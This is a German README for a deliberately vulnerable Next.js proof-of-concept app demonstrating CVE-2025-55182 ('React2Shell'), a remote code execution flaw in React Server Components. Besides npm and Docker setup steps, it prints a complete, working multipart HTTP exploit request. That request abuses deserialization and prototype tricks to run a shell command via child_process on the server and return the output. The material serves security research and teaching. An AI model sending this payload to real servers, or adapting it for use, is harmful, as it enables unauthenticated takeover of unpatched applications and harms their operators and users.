
Proof-of-concept-Anwendung, die die RCE-Sicherheitslücke CVE-2025-55182 (React2Shell) in React-Server-Komponenten demonstriert. Nur für Sicherheitsforschung und Bildungstests in isolierten Umgebungen.
Dies ist eine Next.js-Anwendung als Konzeptnachweis, die anfällig für CVE-2025-55182 (auch bekannt als „React2Shell") ist, eine kritische Schwachstelle für Remote Code Execution (RCE) in React Server Components.
Diese Anwendung ist absichtlich anfällig und sollte NUR verwendet werden für:
NICHT:
CVE-2025-55182 betrifft:
Die Schwachstelle beruht auf unsicherer Deserialisierung in der Verarbeitung von React Server Component-Payloads, die es nicht authentifizierten Angreifern ermöglicht, über speziell gestaltete HTTP-Anfragen beliebigen Code auf dem Server auszuführen.
Abhängigkeiten installieren:
npm install
Entwicklungsserver starten:
npm run dev
Auf die Anwendung zugreifen: Öffnen Sie http://localhost:3000 in Ihrem Browser.
Docker-Image erstellen:
docker build -t nextjs-cve-2025-55182 .
Container ausführen:
docker run --rm -p 3000:3000 nextjs-cve-2025-55182
Auf die Anwendung zugreifen: Öffnen Sie http://localhost:3000 in Ihrem Browser.
/): Ein einfaches Anmeldeformular mit React Server Components/dashboard): Eine geschützte Seite, die nach der Anmeldung zugänglich istDiese Anwendung verwendet:
Die Schwachstelle existiert im Deserialisierungsmechanismus von RSC-Payloads, der ausgenutzt werden kann, indem bösartige Multipart-HTTP-Anfragen direkt an Seitenrouten gesendet werden (z. B. http://localhost:3000 oder http://localhost:3000/dashboard). Der Exploit funktioniert auf jeder Seite, die React Server Components verwendet.
Die Schwachstelle kann ausgenutzt werden, indem speziell gestaltete HTTP-Anfragen direkt an Seitenrouten gesendet werden (z. B. http://localhost:3000 oder http://localhost:3000/dashboard). Der Exploit funktioniert auf jeder Seite, die React Server Components verwendet.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Der Exploit zielt direkt auf Seitenrouten ab – funktioniert auf localhost:3000 (Startseite) oder localhost:3000/dashboard (Dashboard-Seite).
Um diese Schwachstelle zu beheben:
Dieser Konzeptnachweis wird nur zu Bildungs- und Sicherheitsforschungszwecken bereitgestellt.